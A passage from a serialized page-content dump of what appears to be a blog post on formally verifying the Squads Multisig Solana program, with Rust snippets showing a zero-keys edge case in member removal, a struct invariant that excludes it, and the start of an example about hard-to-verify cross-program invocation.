{"type":29,"value":2168},{"type":23,"tag":141,"props":25553,"children":25554},{"class":143,"line":262},[25555,25559,25563,25567],{"type":23,"tag":141,"props":25556,"children":25557},{"style":750},[25558],{"type":29,"value":23955},{"type":23,"tag":141,"props":25560,"children":25561},{"style":160},[25562],{"type":29,"value":114},{"type":23,"tag":141,"props":25564,"children":25565},{"style":472},[25566],{"type":29,"value":1707},{"type":23,"tag":141,"props":25568,"children":25569},{"style":154},[25570],{"type":29,"value":2168},{"type":23,"tag":141,"props":25572,"children":25573},{"class":143,"line":271},[25574,25578,25582,25586],{"type":23,"tag":141,"props":25575,"children":25576},{"style":750},[25577],{"type":29,"value":22522},{"type":23,"tag":141,"props":25579,"children":25580},{"style":160},[25581],{"type":29,"value":114},{"type":23,"tag":141,"props":25583,"children":25584},{"style":160},[25585],{"type":29,"value":23983},{"type":23,"tag":141,"props":25587,"children":25588},{"style":154},[25589],{"type":29,"value":2168},{"type":23,"tag":141,"props":25591,"children":25592},{"class":143,"line":293},[25593,25597,25601,25605],{"type":23,"tag":141,"props":25594,"children":25595},{"style":750},[25596],{"type":29,"value":23995},{"type":23,"tag":141,"props":25598,"children":25599},{"style":160},[25600],{"type":29,"value":114},{"type":23,"tag":141,"props":25602,"children":25603},{"style":449},[25604],{"type":29,"value":7735},{"type":23,"tag":141,"props":25606,"children":25607},{"style":154},[25608],{"type":29,"value":2168},{"type":23,"tag":141,"props":25610,"children":25611},{"class":143,"line":801},[25612,25616,25620,25624],{"type":23,"tag":141,"props":25613,"children":25614},{"style":750},[25615],{"type":29,"value":24015},{"type":23,"tag":141,"props":25617,"children":25618},{"style":160},[25619],{"type":29,"value":114},{"type":23,"tag":141,"props":25621,"children":25622},{"style":725},[25623],{"type":29,"value":20061},{"type":23,"tag":141,"props":25625,"children":25626},{"style":154},[25627],{"type":29,"value":1951},{"type":23,"tag":141,"props":25629,"children":25630},{"class":143,"line":810},[25631,25636,25640,25644],{"type":23,"tag":141,"props":25632,"children":25633},{"style":750},[25634],{"type":29,"value":25635}," data",{"type":23,"tag":141,"props":25637,"children":25638},{"style":160},[25639],{"type":29,"value":114},{"type":23,"tag":141,"props":25641,"children":25642},{"style":160},[25643],{"type":29,"value":23983},{"type":23,"tag":141,"props":25645,"children":25646},{"style":154},[25647],{"type":29,"value":2168},{"type":23,"tag":141,"props":25649,"children":25650},{"class":143,"line":824},[25651,25655,25659,25663],{"type":23,"tag":141,"props":25652,"children":25653},{"style":750},[25654],{"type":29,"value":24036},{"type":23,"tag":141,"props":25656,"children":25657},{"style":160},[25658],{"type":29,"value":114},{"type":23,"tag":141,"props":25660,"children":25661},{"style":472},[25662],{"type":29,"value":1707},{"type":23,"tag":141,"props":25664,"children":25665},{"style":154},[25666],{"type":29,"value":2168},{"type":23,"tag":141,"props":25668,"children":25669},{"class":143,"line":839},[25670],{"type":23,"tag":141,"props":25671,"children":25672},{"style":154},[25673],{"type":29,"value":24057},{"type":23,"tag":141,"props":25675,"children":25676},{"class":143,"line":848},[25677],{"type":23,"tag":141,"props":25678,"children":25679},{"style":154},[25680],{"type":29,"value":24065},{"type":23,"tag":141,"props":25682,"children":25683},{"class":143,"line":2304},[25684,25688,25692,25696,25700,25704],{"type":23,"tag":141,"props":25685,"children":25686},{"style":750},[25687],{"type":29,"value":24073},{"type":23,"tag":141,"props":25689,"children":25690},{"style":160},[25691],{"type":29,"value":114},{"type":23,"tag":141,"props":25693,"children":25694},{"style":725},[25695],{"type":29,"value":24082},{"type":23,"tag":141,"props":25697,"children":25698},{"style":154},[25699],{"type":29,"value":8264},{"type":23,"tag":141,"props":25701,"children":25702},{"style":160},[25703],{"type":29,"value":8269},{"type":23,"tag":141,"props":25705,"children":25706},{"style":154},[25707],{"type":29,"value":24095},{"type":23,"tag":141,"props":25709,"children":25710},{"class":143,"line":2313},[25711],{"type":23,"tag":141,"props":25712,"children":25713},{"style":154},[25714],{"type":29,"value":2573},{"type":23,"tag":32,"props":25716,"children":25717},{},[25718],{"type":29,"value":25719},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":32,"props":25721,"children":25722},{},[25723,25725,25731],{"type":29,"value":25724},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":38,"props":25726,"children":25728},{"className":25727},[],[25729],{"type":29,"value":25730},"Ms::remove_member",{"type":29,"value":114},{"type":23,"tag":131,"props":25733,"children":25735},{"code":25734,"language":1638,"meta":7,"className":1639,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[25736],{"type":23,"tag":38,"props":25737,"children":25738},{"__ignoreMap":7},[25739,25798,25829,25836],{"type":23,"tag":141,"props":25740,"children":25741},{"class":143,"line":144},[25742,25746,25750,25754,25758,25762,25766,25770,25774,25778,25782,25786,25790,25794],{"type":23,"tag":141,"props":25743,"children":25744},{"style":148},[25745],{"type":29,"value":14255},{"type":23,"tag":141,"props":25747,"children":25748},{"style":750},[25749],{"type":29,"value":24527},{"type":23,"tag":141,"props":25751,"children":25752},{"style":160},[25753],{"type":29,"value":322},{"type":23,"tag":141,"props":25755,"children":25756},{"style":154},[25757],{"type":29,"value":13351},{"type":23,"tag":141,"props":25759,"children":25760},{"style":160},[25761],{"type":29,"value":322},{"type":23,"tag":141,"props":25763,"children":25764},{"style":154},[25765],{"type":29,"value":22488},{"type":23,"tag":141,"props":25767,"children":25768},{"style":160},[25769],{"type":29,"value":322},{"type":23,"tag":141,"props":25771,"children":25772},{"style":154},[25773],{"type":29,"value":19655},{"type":23,"tag":141,"props":25775,"children":25776},{"style":160},[25777],{"type":29,"value":322},{"type":23,"tag":141,"props":25779,"children":25780},{"style":184},[25781],{"type":29,"value":7817},{"type":23,"tag":141,"props":25783,"children":25784},{"style":154},[25785],{"type":29,"value":12720},{"type":23,"tag":141,"props":25787,"children":25788},{"style":160},[25789],{"type":29,"value":7251},{"type":23,"tag":141,"props":25791,"children":25792},{"style":472},[25793],{"type":29,"value":3198},{"type":23,"tag":141,"props":25795,"children":25796},{"style":154},[25797],{"type":29,"value":1951},{"type":23,"tag":141,"props":25799,"children":25800},{"class":143,"line":180},[25801,25805,25809,25813,25817,25821,25825],{"type":23,"tag":141,"props":25802,"children":25803},{"style":148},[25804],{"type":29,"value":15665},{"type":23,"tag":141,"props":25806,"children":25807},{"style":184},[25808],{"type":29,"value":22191},{"type":23,"tag":141,"props":25810,"children":25811},{"style":154},[25812],{"type":29,"value":192},{"type":23,"tag":141,"props":25814,"children":25815},{"style":725},[25816],{"type":29,"value":22200},{"type":23,"tag":141,"props":25818,"children":25819},{"style":160},[25820],{"type":29,"value":2141},{"type":23,"tag":141,"props":25822,"children":25823},{"style":725},[25824],{"type":29,"value":24603},{"type":23,"tag":141,"props":25826,"children":25827},{"style":154},[25828],{"type":29,"value":2496},{"type":23,"tag":141,"props":25830,"children":25831},{"class":143,"line":205},[25832],{"type":23,"tag":141,"props":25833,"children":25834},{"style":154},[25835],{"type":29,"value":2573},{"type":23,"tag":141,"props":25837,"children":25838},{"class":143,"line":218},[25839,25843,25847,25851,25855,25859,25863,25867,25871,25875,25879,25883],{"type":23,"tag":141,"props":25840,"children":25841},{"style":750},[25842],{"type":29,"value":18952},{"type":23,"tag":141,"props":25844,"children":25845},{"style":160},[25846],{"type":29,"value":322},{"type":23,"tag":141,"props":25848,"children":25849},{"style":154},[25850],{"type":29,"value":13351},{"type":23,"tag":141,"props":25852,"children":25853},{"style":160},[25854],{"type":29,"value":322},{"type":23,"tag":141,"props":25856,"children":25857},{"style":154},[25858],{"type":29,"value":22488},{"type":23,"tag":141,"props":25860,"children":25861},{"style":160},[25862],{"type":29,"value":322},{"type":23,"tag":141,"props":25864,"children":25865},{"style":184},[25866],{"type":29,"value":24150},{"type":23,"tag":141,"props":25868,"children":25869},{"style":154},[25870],{"type":29,"value":192},{"type":23,"tag":141,"props":25872,"children":25873},{"style":750},[25874],{"type":29,"value":24483},{"type":23,"tag":141,"props":25876,"children":25877},{"style":154},[25878],{"type":29,"value":1788},{"type":23,"tag":141,"props":25880,"children":25881},{"style":160},[25882],{"type":29,"value":1816},{"type":23,"tag":141,"props":25884,"children":25885},{"style":154},[25886],{"type":29,"value":1684},{"type":23,"tag":32,"props":25888,"children":25889},{},[25890,25892,25898,25900,25906],{"type":29,"value":25891},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":38,"props":25893,"children":25895},{"className":25894},[],[25896],{"type":29,"value":25897},"Ms::is_member",{"type":29,"value":25899},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":38,"props":25901,"children":25903},{"className":25902},[],[25904],{"type":29,"value":25905},"Ok(())",{"type":29,"value":322},{"type":23,"tag":131,"props":25908,"children":25910},{"code":25909,"language":1638,"meta":7,"className":1639,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[25911],{"type":23,"tag":38,"props":25912,"children":25913},{"__ignoreMap":7},[25914,25978,26037,26074,26133,26201,26208,26215,26226],{"type":23,"tag":141,"props":25915,"children":25916},{"class":143,"line":144},[25917,25921,25925,25929,25933,25937,25941,25945,25949,25954,25958,25962,25966,25970,25974],{"type":23,"tag":141,"props":25918,"children":25919},{"style":449},[25920],{"type":29,"value":12368},{"type":23,"tag":141,"props":25922,"children":25923},{"style":449},[25924],{"type":29,"value":12373},{"type":23,"tag":141,"props":25926,"children":25927},{"style":184},[25928],{"type":29,"value":24449},{"type":23,"tag":141,"props":25930,"children":25931},{"style":154},[25932],{"type":29,"value":192},{"type":23,"tag":141,"props":25934,"children":25935},{"style":160},[25936],{"type":29,"value":1770},{"type":23,"tag":141,"props":25938,"children":25939},{"style":449},[25940],{"type":29,"value":2389},{"type":23,"tag":141,"props":25942,"children":25943},{"style":449},[25944],{"type":29,"value":12475},{"type":23,"tag":141,"props":25946,"children":25947},{"style":154},[25948],{"type":29,"value":480},{"type":23,"tag":141,"props":25950,"children":25951},{"style":750},[25952],{"type":29,"value":25953},"member",{"type":23,"tag":141,"props":25955,"children":25956},{"style":160},[25957],{"type":29,"value":114},{"type":23,"tag":141,"props":25959,"children":25960},{"style":725},[25961],{"type":29,"value":19529},{"type":23,"tag":141,"props":25963,"children":25964},{"style":154},[25965],{"type":29,"value":1748},{"type":23,"tag":141,"props":25967,"children":25968},{"style":160},[25969],{"type":29,"value":12435},{"type":23,"tag":141,"props":25971,"children":25972},{"style":725},[25973],{"type":29,"value":12440},{"type":23,"tag":141,"props":25975,"children":25976},{"style":154},[25977],{"type":29,"value":19003},{"type":23,"tag":141,"props":25979,"children":25980},{"class":143,"line":180},[25981,25985,25990,25995,25999,26004,26008,26012,26016,26020,26025,26029,26033],{"type":23,"tag":141,"props":25982,"children":25983},{"style":148},[25984],{"type":29,"value":151},{"type":23,"tag":141,"props":25986,"children":25987},{"style":449},[25988],{"type":29,"value":25989}," let",{"type":23,"tag":141,"props":25991,"children":25992},{"style":725},[25993],{"type":29,"value":25994}," Some",{"type":23,"tag":141,"props":25996,"children":25997},{"style":154},[25998],{"type":29,"value":192},{"type":23,"tag":141,"props":26000,"children":26001},{"style":750},[26002],{"type":29,"value":26003},"ind",{"type":23,"tag":141,"props":26005,"children":26006},{"style":154},[26007],{"type":29,"value":1748},{"type":23,"tag":141,"props":26009,"children":26010},{"style":160},[26011],{"type":29,"value":1377},{"type":23,"tag":141,"props":26013,"children":26014},{"style":449},[26015],{"type":29,"value":12475},{"type":23,"tag":141,"props":26017,"children":26018},{"style":160},[26019],{"type":29,"value":322},{"type":23,"tag":141,"props":26021,"children":26022},{"style":184},[26023],{"type":29,"value":26024},"is_member",{"type":23,"tag":141,"props":26026,"children":26027},{"style":154},[26028],{"type":29,"value":192},{"type":23,"tag":141,"props":26030,"children":26031},{"style":750},[26032],{"type":29,"value":25953},{"type":23,"tag":141,"props":26034,"children":26035},{"style":154},[26036],{"type":29,"value":13480},{"type":23,"tag":141,"props":26038,"children":26039},{"class":143,"line":205},[26040,26045,26049,26053,26057,26062,26066,26070],{"type":23,"tag":141,"props":26041,"children":26042},{"style":449},[26043],{"type":29,"value":26044}," self",{"type":23,"tag":141,"props":26046,"children":26047},{"style":160},[26048],{"type":29,"value":322},{"type":23,"tag":141,"props":26050,"children":26051},{"style":154},[26052],{"type":29,"value":19655},{"type":23,"tag":141,"props":26054,"children":26055},{"style":160},[26056],{"type":29,"value":322},{"type":23,"tag":141,"props":26058,"children":26059},{"style":184},[26060],{"type":29,"value":26061},"remove",{"type":23,"tag":141,"props":26063,"children":26064},{"style":154},[26065],{"type":29,"value":192},{"type":23,"tag":141,"props":26067,"children":26068},{"style":750},[26069],{"type":29,"value":26003},{"type":23,"tag":141,"props":26071,"children":26072},{"style":154},[26073],{"type":29,"value":2496},{"type":23,"tag":141,"props":26075,"children":26076},{"class":143,"line":218},[26077,26081,26085,26089,26093,26097,26101,26105,26109,26113,26117,26121,26125,26129],{"type":23,"tag":141,"props":26078,"children":26079},{"style":148},[26080],{"type":29,"value":233},{"type":23,"tag":141,"props":26082,"children":26083},{"style":449},[26084],{"type":29,"value":12475},{"type":23,"tag":141,"props":26086,"children":26087},{"style":160},[26088],{"type":29,"value":322},{"type":23,"tag":141,"props":26090,"children":26091},{"style":154},[26092],{"type":29,"value":19655},{"type":23,"tag":141,"props":26094,"children":26095},{"style":160},[26096],{"type":29,"value":322},{"type":23,"tag":141,"props":26098,"children":26099},{"style":184},[26100],{"type":29,"value":7817},{"type":23,"tag":141,"props":26102,"children":26103},{"style":154},[26104],{"type":29,"value":24728},{"type":23,"tag":141,"props":26106,"children":26107},{"style":725},[26108],{"type":29,"value":15277},{"type":23,"tag":141,"props":26110,"children":26111},{"style":160},[26112],{"type":29,"value":2141},{"type":23,"tag":141,"props":26114,"children":26115},{"style":184},[26116],{"type":29,"value":18145},{"type":23,"tag":141,"props":26118,"children":26119},{"style":154},[26120],{"type":29,"value":192},{"type":23,"tag":141,"props":26122,"children":26123},{"style":449},[26124],{"type":29,"value":12391},{"type":23,"tag":141,"props":26126,"children":26127},{"style":160},[26128],{"type":29,"value":322},{"type":23,"tag":141,"props":26130,"children":26131},{"style":154},[26132],{"type":29,"value":24773},{"type":23,"tag":141,"props":26134,"children":26135},{"class":143,"line":227},[26136,26141,26145,26149,26153,26157,26161,26165,26169,26173,26177,26181,26185,26189,26193,26197],{"type":23,"tag":141,"props":26137,"children":26138},{"style":449},[26139],{"type":29,"value":26140}," self",{"type":23,"tag":141,"props":26142,"children":26143},{"style":160},[26144],{"type":29,"value":322},{"type":23,"tag":141,"props":26146,"children":26147},{"style":154},[26148],{"type":29,"value":19743},{"type":23,"tag":141,"props":26150,"children":26151},{"style":160},[26152],{"type":29,"value":1377},{"type":23,"tag":141,"props":26154,"children":26155},{"style":449},[26156],{"type":29,"value":12475},{"type":23,"tag":141,"props":26158,"children":26159},{"style":160},[26160],{"type":29,"value":322},{"type":23,"tag":141,"props":26162,"children":26163},{"style":154},[26164],{"type":29,"value":19655},{"type":23,"tag":141,"props":26166,"children":26167},{"style":160},[26168],{"type":29,"value":322},{"type":23,"tag":141,"props":26170,"children":26171},{"style":184},[26172],{"type":29,"value":7817},{"type":23,"tag":141,"props":26174,"children":26175},{"style":154},[26176],{"type":29,"value":12557},{"type":23,"tag":141,"props":26178,"children":26179},{"style":160},[26180],{"type":29,"value":322},{"type":23,"tag":141,"props":26182,"children":26183},{"style":184},[26184],{"type":29,"value":24846},{"type":23,"tag":141,"props":26186,"children":26187},{"style":154},[26188],{"type":29,"value":12557},{"type":23,"tag":141,"props":26190,"children":26191},{"style":160},[26192],{"type":29,"value":322},{"type":23,"tag":141,"props":26194,"children":26195},{"style":184},[26196],{"type":29,"value":2328},{"type":23,"tag":141,"props":26198,"children":26199},{"style":154},[26200],{"type":29,"value":1305},{"type":23,"tag":141,"props":26202,"children":26203},{"class":143,"line":241},[26204],{"type":23,"tag":141,"props":26205,"children":26206},{"style":154},[26207],{"type":29,"value":2008},{"type":23,"tag":141,"props":26209,"children":26210},{"class":143,"line":262},[26211],{"type":23,"tag":141,"props":26212,"children":26213},{"style":154},[26214],{"type":29,"value":299},{"type":23,"tag":141,"props":26216,"children":26217},{"class":143,"line":271},[26218,26222],{"type":23,"tag":141,"props":26219,"children":26220},{"style":725},[26221],{"type":29,"value":13009},{"type":23,"tag":141,"props":26223,"children":26224},{"style":154},[26225],{"type":29,"value":13014},{"type":23,"tag":141,"props":26227,"children":26228},{"class":143,"line":293},[26229],{"type":23,"tag":141,"props":26230,"children":26231},{"style":154},[26232],{"type":29,"value":2573},{"type":23,"tag":32,"props":26234,"children":26235},{},[26236,26238,26243,26245,26251,26253,26259,26261,26266],{"type":29,"value":26237},"Inside ",{"type":23,"tag":38,"props":26239,"children":26241},{"className":26240},[],[26242],{"type":29,"value":25897},{"type":29,"value":26244},", we see that it performs a ",{"type":23,"tag":38,"props":26246,"children":26248},{"className":26247},[],[26249],{"type":29,"value":26250},"binary_search",{"type":29,"value":26252}," on the keys vec and returns the index or ",{"type":23,"tag":38,"props":26254,"children":26256},{"className":26255},[],[26257],{"type":29,"value":26258},"None",{"type":29,"value":26260},". Since the vec has size zero, this will just return ",{"type":23,"tag":38,"props":26262,"children":26264},{"className":26263},[],[26265],{"type":29,"value":26258},{"type":29,"value":322},{"type":23,"tag":131,"props":26268,"children":26270},{"code":26269,"language":1638,"meta":7,"className":1639,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[26271],{"type":23,"tag":38,"props":26272,"children":26273},{"__ignoreMap":7},[26274,26343,26386,26425,26447,26454],{"type":23,"tag":141,"props":26275,"children":26276},{"class":143,"line":144},[26277,26281,26285,26290,26294,26298,26302,26306,26310,26314,26318,26322,26326,26331,26335,26339],{"type":23,"tag":141,"props":26278,"children":26279},{"style":449},[26280],{"type":29,"value":12368},{"type":23,"tag":141,"props":26282,"children":26283},{"style":449},[26284],{"type":29,"value":12373},{"type":23,"tag":141,"props":26286,"children":26287},{"style":184},[26288],{"type":29,"value":26289}," is_member",{"type":23,"tag":141,"props":26291,"children":26292},{"style":154},[26293],{"type":29,"value":192},{"type":23,"tag":141,"props":26295,"children":26296},{"style":160},[26297],{"type":29,"value":1770},{"type":23,"tag":141,"props":26299,"children":26300},{"style":449},[26301],{"type":29,"value":12391},{"type":23,"tag":141,"props":26303,"children":26304},{"style":154},[26305],{"type":29,"value":480},{"type":23,"tag":141,"props":26307,"children":26308},{"style":750},[26309],{"type":29,"value":25953},{"type":23,"tag":141,"props":26311,"children":26312},{"style":160},[26313],{"type":29,"value":114},{"type":23,"tag":141,"props":26315,"children":26316},{"style":725},[26317],{"type":29,"value":19529},{"type":23,"tag":141,"props":26319,"children":26320},{"style":154},[26321],{"type":29,"value":1748},{"type":23,"tag":141,"props":26323,"children":26324},{"style":160},[26325],{"type":29,"value":12435},{"type":23,"tag":141,"props":26327,"children":26328},{"style":725},[26329],{"type":29,"value":26330}," Option",{"type":23,"tag":141,"props":26332,"children":26333},{"style":154},[26334],{"type":29,"value":4480},{"type":23,"tag":141,"props":26336,"children":26337},{"style":725},[26338],{"type":29,"value":15277},{"type":23,"tag":141,"props":26340,"children":26341},{"style":154},[26342],{"type":29,"value":5955},{"type":23,"tag":141,"props":26344,"children":26345},{"class":143,"line":180},[26346,26350,26354,26358,26362,26366,26370,26374,26378,26382],{"type":23,"tag":141,"props":26347,"children":26348},{"style":148},[26349],{"type":29,"value":13429},{"type":23,"tag":141,"props":26351,"children":26352},{"style":449},[26353],{"type":29,"value":12475},{"type":23,"tag":141,"props":26355,"children":26356},{"style":160},[26357],{"type":29,"value":322},{"type":23,"tag":141,"props":26359,"children":26360},{"style":154},[26361],{"type":29,"value":19655},{"type":23,"tag":141,"props":26363,"children":26364},{"style":160},[26365],{"type":29,"value":322},{"type":23,"tag":141,"props":26367,"children":26368},{"style":184},[26369],{"type":29,"value":26250},{"type":23,"tag":141,"props":26371,"children":26372},{"style":154},[26373],{"type":29,"value":192},{"type":23,"tag":141,"props":26375,"children":26376},{"style":160},[26377],{"type":29,"value":1770},{"type":23,"tag":141,"props":26379,"children":26380},{"style":750},[26381],{"type":29,"value":25953},{"type":23,"tag":141,"props":26383,"children":26384},{"style":154},[26385],{"type":29,"value":13480},{"type":23,"tag":141,"props":26387,"children":26388},{"class":143,"line":205},[26389,26393,26397,26401,26405,26409,26413,26417,26421],{"type":23,"tag":141,"props":26390,"children":26391},{"style":725},[26392],{"type":29,"value":13488},{"type":23,"tag":141,"props":26394,"children":26395},{"style":154},[26396],{"type":29,"value":192},{"type":23,"tag":141,"props":26398,"children":26399},{"style":750},[26400],{"type":29,"value":26003},{"type":23,"tag":141,"props":26402,"children":26403},{"style":154},[26404],{"type":29,"value":1748},{"type":23,"tag":141,"props":26406,"children":26407},{"style":160},[26408],{"type":29,"value":13498},{"type":23,"tag":141,"props":26410,"children":26411},{"style":725},[26412],{"type":29,"value":25994},{"type":23,"tag":141,"props":26414,"children":26415},{"style":154},[26416],{"type":29,"value":192},{"type":23,"tag":141,"props":26418,"children":26419},{"style":750},[26420],{"type":29,"value":26003},{"type":23,"tag":141,"props":26422,"children":26423},{"style":154},[26424],{"type":29,"value":5410},{"type":23,"tag":141,"props":26426,"children":26427},{"class":143,"line":218},[26428,26433,26438,26443],{"type":23,"tag":141,"props":26429,"children":26430},{"style":750},[26431],{"type":29,"value":26432}," _",{"type":23,"tag":141,"props":26434,"children":26435},{"style":160},[26436],{"type":29,"value":26437}," =>",{"type":23,"tag":141,"props":26439,"children":26440},{"style":725},[26441],{"type":29,"value":26442}," None",{"type":23,"tag":141,"props":26444,"children":26445},{"style":154},[26446],{"type":29,"value":2168},{"type":23,"tag":141,"props":26448,"children":26449},{"class":143,"line":227},[26450],{"type":23,"tag":141,"props":26451,"children":26452},{"style":154},[26453],{"type":29,"value":299},{"type":23,"tag":141,"props":26455,"children":26456},{"class":143,"line":241},[26457],{"type":23,"tag":141,"props":26458,"children":26459},{"style":154},[26460],{"type":29,"value":2573},{"type":23,"tag":32,"props":26462,"children":26463},{},[26464,26466,26471,26473,26478,26480,26485,26487,26492],{"type":29,"value":26465},"So interestingly, a ",{"type":23,"tag":38,"props":26467,"children":26469},{"className":26468},[],[26470],{"type":29,"value":19655},{"type":29,"value":26472}," vec of size 0 ",{"type":23,"tag":47,"props":26474,"children":26475},{},[26476],{"type":29,"value":26477},"is actually",{"type":29,"value":26479}," a sufficient condition to execute ",{"type":23,"tag":38,"props":26481,"children":26483},{"className":26482},[],[26484],{"type":29,"value":24150},{"type":29,"value":26486},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":47,"props":26488,"children":26489},{},[26490],{"type":29,"value":26491},"valid",{"type":29,"value":26493}," multisig, the number of keys should never be zero.",{"type":23,"tag":32,"props":26495,"children":26496},{},[26497,26499,26504],{"type":29,"value":26498},"We can represent this ",{"type":23,"tag":47,"props":26500,"children":26501},{},[26502],{"type":29,"value":26503},"validity",{"type":29,"value":26505}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":131,"props":26507,"children":26509},{"code":26508,"language":1638,"meta":7,"className":1639,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[26510],{"type":23,"tag":38,"props":26511,"children":26512},{"__ignoreMap":7},[26513,26520,26543,26594,26601],{"type":23,"tag":141,"props":26514,"children":26515},{"class":143,"line":144},[26516],{"type":23,"tag":141,"props":26517,"children":26518},{"style":154},[26519],{"type":29,"value":19450},{"type":23,"tag":141,"props":26521,"children":26522},{"class":143,"line":180},[26523,26527,26531,26535,26539],{"type":23,"tag":141,"props":26524,"children":26525},{"style":154},[26526],{"type":29,"value":23413},{"type":23,"tag":141,"props":26528,"children":26529},{"style":160},[26530],{"type":29,"value":322},{"type":23,"tag":141,"props":26532,"children":26533},{"style":154},[26534],{"type":29,"value":19743},{"type":23,"tag":141,"props":26536,"children":26537},{"style":160},[26538],{"type":29,"value":8623},{"type":23,"tag":141,"props":26540,"children":26541},{"style":154},[26542],{"type":29,"value":19752},{"type":23,"tag":141,"props":26544,"children":26545},{"class":143,"line":205},[26546,26550,26554,26558,26562,26566,26570,26574,26578,26582,26586,26590],{"type":23,"tag":141,"props":26547,"children":26548},{"style":160},[26549],{"type":29,"value":14297},{"type":23,"tag":141,"props":26551,"children":26552},{"style":154},[26553],{"type":29,"value":19676},{"type":23,"tag":141,"props":26555,"children":26556},{"style":160},[26557],{"type":29,"value":322},{"type":23,"tag":141,"props":26559,"children":26560},{"style":154},[26561],{"type":29,"value":19743},{"type":23,"tag":141,"props":26563,"children":26564},{"style":449},[26565],{"type":29,"value":7518},{"type":23,"tag":141,"props":26567,"children":26568},{"style":725},[26569],{"type":29,"value":12409},{"type":23,"tag":141,"props":26571,"children":26572},{"style":160},[26573],{"type":29,"value":6872},{"type":23,"tag":141,"props":26575,"children":26576},{"style":154},[26577],{"type":29,"value":12475},{"type":23,"tag":141,"props":26579,"children":26580},{"style":160},[26581],{"type":29,"value":322},{"type":23,"tag":141,"props":26583,"children":26584},{"style":154},[26585],{"type":29,"value":19655},{"type":23,"tag":141,"props":26587,"children":26588},{"style":160},[26589],{"type":29,"value":322},{"type":23,"tag":141,"props":26591,"children":26592},{"style":154},[26593],{"type":29,"value":19804},{"type":23,"tag":141,"props":26595,"children":26596},{"class":143,"line":218},[26597],{"type":23,"tag":141,"props":26598,"children":26599},{"style":154},[26600],{"type":29,"value":18930},{"type":23,"tag":141,"props":26602,"children":26603},{"class":143,"line":227},[26604,26608,26612,26616,26620,26624],{"type":23,"tag":141,"props":26605,"children":26606},{"style":449},[26607],{"type":29,"value":12368},{"type":23,"tag":141,"props":26609,"children":26610},{"style":449},[26611],{"type":29,"value":19823},{"type":23,"tag":141,"props":26613,"children":26614},{"style":725},[26615],{"type":29,"value":19828},{"type":23,"tag":141,"props":26617,"children":26618},{"style":154},[26619],{"type":29,"value":8264},{"type":23,"tag":141,"props":26621,"children":26622},{"style":160},[26623],{"type":29,"value":8269},{"type":23,"tag":141,"props":26625,"children":26626},{"style":154},[26627],{"type":29,"value":8274},{"type":23,"tag":32,"props":26629,"children":26630},{},[26631,26633,26639,26641,26647],{"type":29,"value":26632},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":38,"props":26634,"children":26636},{"className":26635},[],[26637],{"type":29,"value":26638},"keys.len() == 0",{"type":29,"value":26640}," and allows us to prove the biconditional ",{"type":23,"tag":38,"props":26642,"children":26644},{"className":26643},[],[26645],{"type":29,"value":26646},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":322},{"type":23,"tag":8287,"props":26649,"children":26651},{"id":26650},"safety-guarantees",[26652],{"type":29,"value":21456},{"type":23,"tag":32,"props":26654,"children":26655},{},[26656],{"type":29,"value":26657},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":32,"props":26659,"children":26660},{},[26661],{"type":29,"value":26662},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":32,"props":26664,"children":26665},{},[26666,26668,26674],{"type":29,"value":26667},"In the multisig program this happens in the ",{"type":23,"tag":38,"props":26669,"children":26671},{"className":26670},[],[26672],{"type":29,"value":26673},"execute_transaction",{"type":29,"value":26675}," instruction.",{"type":23,"tag":32,"props":26677,"children":26678},{},[26679],{"type":23,"tag":47,"props":26680,"children":26681},{},[26682],{"type":29,"value":26683},"So what do you do?",{"type":23,"tag":32,"props":26685,"children":26686},{},[26687],{"type":29,"value":26688},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":131,"props":26690,"children":26692},{"code":26691,"language":1638,"meta":7,"className":1639,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n 